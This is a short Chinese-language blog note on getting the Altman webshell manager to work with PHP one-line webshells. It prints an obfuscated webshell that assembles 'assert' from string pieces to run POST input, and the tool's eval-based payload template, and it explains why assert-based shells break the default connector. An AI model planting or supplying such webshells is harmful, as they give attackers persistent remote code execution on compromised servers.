之前测试altman工具的时候,遇到了一个问题,现解决方法如下:
Altman连接phpEval一句话木马的时候,phpEval.type的定义如下:
|
|
eval函数执行php语句print("->|");eval(base64_decode($_POST[$funcCode$]));print("|<-");die();
时,
确实是正确的。
然而当使用某些变形php一句话木马,如:<?php $a = "a"."s"."s"."e"."r"."t"; $a($_POST["a"]); ?>
时,
Altman就无法连接一句话木马了。
原因在于,这个变形木马使用的是assert函数,而eval与assert最主要区别是eval的参数可以是多个语句,而assert的参数是一个表达式。所以assert只会执行到print(“->|”)代码,后面的代码则直接报错了。
所以在了解到eval与assert的区别后,很容易写出一个新脚本类型,phpAssert.type定义如下:
|
|
PS:其实assert还有一个坑,那就是echo在assert中是不能直接使用的,因为在php中echo并不是一个函数:),不能作为表达式。